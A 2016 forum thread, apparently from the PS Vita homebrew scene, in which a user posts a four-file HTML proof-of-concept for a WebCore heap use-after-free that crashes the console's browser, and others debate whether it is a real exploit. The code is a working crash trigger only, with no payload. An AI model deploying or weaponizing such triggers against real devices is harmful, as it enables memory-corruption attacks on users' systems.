Page 1 of 1

heap use-after-free at WebCore - 3.50 POC

Posted: Sat May 21, 2016 12:09 pm
by Hunter128
Hello. Appears this needs to be posted public.. Not sure who felt the need to want fame for this cough "Qwerty" but that's the last time i am sharing something special like this. Anyone hoping for advancements for the ps vite scene you can blame this guy on why because i am no longer sharing anything.

Anywho make an index.html

Code: Select all

<html>
  <body onload='runTest()'>
    <script>
      function runTest(){
	    document.writeln('<html></html>');
      }
    </script>
  <iframe src='1.html'></iframe>
  </body>
</html>
1.html

Code: Select all

<html>
  <iframe src='2.html'></iframe>
  <iframe src='3.html'></iframe>
</html>
2.html

Code: Select all

<html>
  <script>
      window.parent.stop();
  </script>
</html>
3.html

Code: Select all

<html>
</html>
Should cause a out of memory error.

Shoutout to no one.. I have no friends :o

Re: heap use-after-free at WebCore - 3.50 POC

Posted: Sat May 21, 2016 8:44 pm
by rafael707
Right on!

Blame qwerty for the vita scene?

Re: heap use-after-free at WebCore - 3.50 POC

Posted: Sun May 22, 2016 2:37 am
by xyz
you got an exploit? or just a crash which you copied from this commit https://github.com/WebKit/webkit/commit ... e14301c704 ?

Re: heap use-after-free at WebCore - 3.50 POC

Posted: Tue Jun 07, 2016 7:35 pm
by micky3936
I get (an error has occured inthe following application. internet browser.

running vita 3.60 firmware

error code C2-12828-1